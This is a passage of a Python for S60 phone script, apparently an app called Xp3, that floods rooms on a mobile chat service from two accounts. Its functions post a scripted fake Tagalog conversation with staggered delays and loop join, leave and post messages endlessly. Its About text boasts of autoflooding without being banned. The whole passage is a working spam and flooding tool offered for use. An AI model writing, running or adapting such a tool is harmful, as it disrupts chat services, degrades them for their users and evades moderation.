        jroomx = (join + chat + rn + rn1 + nick + rnnx + rnn1 + role)
        round.add(u'\n\nSTATUS: ')
        round.color = 16711680
        round.add(u'Autopost Deactivated at ')
        round.add(rn)
        i = 1
        while i == 1 : 
            s1.send(jroom)
            s2.send(jroom)
            e32.ao_sleep(1)
        i = 1
        appuifw.app.menu = menu3
    
    def activate():
        tornak()
        jroom = (join + chat + rn + rn1 + nick + rnn + rnn1 + role)
        jroomx = (join + chat + rn + rn1 + nick + rnnx + rnn1 + role)
        lroom = (xmleave1 + xmleave2 + rn + xmleave4)
        round.add(u'\n\nSTATUS: ')
        round.color = 16711680
        round.add(u'Chatting Bot Activated at ')
        round.add(rn)
        i = 1
        while i == 1 : 
            posta = 'ngtawag nb ng mod tol?'
            postb = 'hnd p nmn bka maya2 pa:DD?'
            postc = 'nahuli q pla c anu may kasoc:DD?'
            postd = 'cnu?:DDwiz m sken.'
            poste = 'teka nghang amp.'
            postf = 'aw recon ka:DD'
            postg = 'mgpplad pa b tau?'
            posth = 'maya2 mejo mhang bka m admin kik wahaha'
            posti = 'san m ndl pmplad mo?'
            postj = 'jn lng wahaha,pasa q tru mms'
            postk = 'kila2 m ung nggm lage c yondo o yodno b un?'
            postl = 'uu tol taena:DDqng mkkta m pgmmkha nun,,kadiri'
            postm = 'aww kdiri,:DDmsta pla geb?'
            postn = 'aun dmi chix,oh lala..'
            posto = 'puro ka chx wala k naman gf,'
            postp = 'meron aq gf d nya lng alam,d rn nya alam nung ngbreak kmi:('
            postq = 'wow lupet m tlga:DD'
            postr = 'aq pa:DD,my mga wm oh,wahaha'
            posts = 'yaan m cla,bsta gwapo tau:DD'
            postt = 'sbgay,d kc uso itsura ng iba jan,'
            postu = 'cnbi mo pa:DD'
            postv = 'tol?oi'
            postw = 'bkt tol?ntatae ka?'
            postx = 'hnd naman,nttwa lng aq,,:DD'
            postz = 'nkalimutan q qng bkt:DD'
            posty = 'toinks,gagu ka:DD'
            postc = 'c anu pla nkta ko s flirt may kasoc:DD?'
            postaaa = 'anu oras na pala tol?'
            postaa = 'TIME CHECK: [d00 ' + time.strftime('%I:%M:%S %p [000') + ' yan oh:>:DD?'
            postab = 'lupet mo tol ah,wahahaha'
            postac = 'tara tol mgplad ulet:DD?'
            postad = 'adik ka talaga sa plad,wahahaha'
            postae = 'ok lng yan wla mgwa eh,trip q kc 2ng ' + rn + ':DD?'
            postaf = 'anu b mero d2 sa ' + rn + '?:OOo'
            postag = 'wala naman bsta plad na>,un ang trbaho nten eh..haha'
            postah = 'cge eto na sabay na tau:>'
            postai = 'cge wahaha..' + rn + ' paplad muna ha:>:DD?'
            apost = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + posta + jxmlmsg4)
            bpost = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + postb + jxmlmsg4)
            cpost = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + postc + jxmlmsg4)
            dpost = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + postd + jxmlmsg4)
            epost = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + poste + jxmlmsg4)
            fpost = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + postf + jxmlmsg4)
            gpost = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + postg + jxmlmsg4)
            hpost = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + posth + jxmlmsg4)
            ipost = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + posti + jxmlmsg4)
            jpost = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + postj + jxmlmsg4)
            kpost = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + postk + jxmlmsg4)
            lpost = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + postl + jxmlmsg4)
            mpost = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + postm + jxmlmsg4)
            npost = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + postn + jxmlmsg4)
            opost = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + posto + jxmlmsg4)
            ppost = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + postp + jxmlmsg4)
            qpost = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + postq + jxmlmsg4)
            rpost = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + postr + jxmlmsg4)
            spost = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + posts + jxmlmsg4)
            tpost = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + postt + jxmlmsg4)
            upost = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + postu + jxmlmsg4)
            vpost = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + postv + jxmlmsg4)
            wpost = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + postw + jxmlmsg4)
            xpost = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + postx + jxmlmsg4)
            ypost = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + posty + jxmlmsg4)
            zpost = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + postz + jxmlmsg4)
            aaapost = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + postaaa + jxmlmsg4)
            aapost = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + postaa + jxmlmsg4)
            abpost = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + postab + jxmlmsg4)
            acpost = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + postac + jxmlmsg4)
            adpost = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + postad + jxmlmsg4)
            aepost = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + postae + jxmlmsg4)
            afpost = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + postaf + jxmlmsg4)
            agpost = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + postag + jxmlmsg4)
            ahpost = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + postah + jxmlmsg4)
            aipost = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + postai + jxmlmsg4)
            s1.send(apost)
            e32.ao_sleep(10)
            s2.send(bpost)
            e32.ao_sleep(13)
            s1.send(cpost)
            e32.ao_sleep(15)
            s2.send(dpost)
            e32.ao_sleep(17)
            s1.send(epost)
            e32.ao_sleep(12)
            s2.send(fpost)
            e32.ao_sleep(14)
            s1.send(gpost)
            e32.ao_sleep(10)
            s2.send(hpost)
            e32.ao_sleep(12)
            s1.send(ipost)
            e32.ao_sleep(10)
            s2.send(jpost)
            e32.ao_sleep(13)
            s1.send(kpost)
            e32.ao_sleep(12)
            s2.send(lpost)
            e32.ao_sleep(15)
            s1.send(mpost)
            e32.ao_sleep(14)
            s2.send(npost)
            e32.ao_sleep(16)
            s1.send(opost)
            e32.ao_sleep(10)
            s2.send(ppost)
            e32.ao_sleep(13)
            s1.send(qpost)
            e32.ao_sleep(13)
            s2.send(rpost)
            e32.ao_sleep(15)
            s1.send(spost)
            e32.ao_sleep(10)
            s2.send(tpost)
            e32.ao_sleep(12)
            s1.send(upost)
            e32.ao_sleep(11)
            s2.send(vpost)
            e32.ao_sleep(13)
            s1.send(wpost)
            e32.ao_sleep(12)
            s2.send(xpost)
            e32.ao_sleep(14)
            s1.send(ypost)
            e32.ao_sleep(10)
            s2.send(zpost)
            e32.ao_sleep(12)
            s1.send(aaapost)
            e32.ao_sleep(12)
            s2.send(aapost)
            e32.ao_sleep(12)
            s1.send(abpost)
            e32.ao_sleep(14)
            s2.send(acpost)
            e32.ao_sleep(10)
            s1.send(adpost)
            e32.ao_sleep(12)
            s2.send(aepost)
            e32.ao_sleep(13)
            s1.send(afpost)
            e32.ao_sleep(13)
            s2.send(agpost)
            e32.ao_sleep(13)
            s1.send(ahpost)
            e32.ao_sleep(13)
            s2.send(aipost)
            e32.ao_sleep(2)
            gfloodx()
        i = 1
        appuifw.app.menu = menu3


    def postmsg():
        tornak()
        xpost = appuifw.query(u'Message:', 'text')
        cpost = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + xpost + jxmlmsg4)
        round.add(u'\n\nSTATUS: ')
        round.color = 16711680
        round.add(u'Message successfully posted at ')
        round.add(rn)
        s1.send(cpost)
        appuifw.app.menu = menu3


    def postmxg():
        tornak()
        xpost = appuifw.query(u'Message:', 'text')
        cpost = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + xpost + jxmlmsg4)
        round.add(u'\n\nSTATUS: ')
        round.color = 16711680
        round.add(u'Message successfully posted at ')
        round.add(rn)
        s2.send(cpost)
        appuifw.app.menu = menu3


    def leave():
        tornak()
        lroom = (xmleave1 + xmleave2 + rn + xmleave4)
        xpost = '[c0c awt muna maya ulet ' + rn + ':>:DD?'
        ypost = 'Xp3\n[d00 RULES:B,>'
        lpostx = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + xpost + jxmlmsg4)
        lposty = (jxmlmsg1 + jxmlmsg2 + rn + jxmlmsg3 + ypost + jxmlmsg4)
        round.add(u'\n\nSTATUS: ')
        round.color = 16711680
        round.add(u'Flood left ')
        round.add(rn)
        i = 1
        while i == 1 : 
            e32.ao_sleep(2)
            s1.send(lpostx)
            e32.ao_sleep(1.3)
            s1.send(lroom)
            e32.ao_sleep(1.3)
            s2.send(lposty)
            e32.ao_sleep(1.3)
            s2.send(lroom)
        i = 1
        appuifw.app.menu = menu3


    menu3 = [(u"Flood Options", ((u'Start', gfloodx), (u'Stop', stop), (u'Leave', leave), (u'Change target', ujoin))), (u'Autopost Bot', ((u'Activate', autopost), (u'Deactivate', autopost1))), (u'Post options', ((u'PostBot 1', postmsg), (u'PostBot 2', postmxg))), (u'Chatting Bot', ((u'Activate', activate), (u'Deactivate', deactivate))), (u'Screen Size', ((u'Normal', normal), (u'Large', large), (u'Full', full))), (u'About', about), (u'Exit', quit)]
    appuifw.app.menu = menu3


def about():
    globalui.global_msg_query(u'+++Xp3 v1.0+++\n Created by: Ax5\n\nAutoflood using 2 IDs...\n\nTried and tested NO BAN....hahaha\n\nENJOY FLOODING!!!\n\nDedicted to ALL Uzzapers...\n\nYUPSIDUDES!!!', u'About Application')


def quit():
    exitapp = appuifw.query(u'Exit Application?', 'query')
    if exitapp == 1 : 
        globalui.global_note(u'Xp3.sisx RULES!!')
        appuifw.app.set_exit()


menu1 = [(u'Login', uconnect), (u'Screen Size', ((u'Normal', normal), (u'Large', large), (u'Full', full))), (u'About', about), (u'Exit', quit)]
menu2 = [(u'Set target', ujoin), (u'Screen Size', ((u'Normal', normal), (u'Large', large), (u'Full', full))), (u'About', about), (u'Exit', quit)]
appuifw.app.menu = menu1
main()
appuifw.app.exit_key_handler = quit
app_lock = e32.Ao_lock()
app_lock.wait()
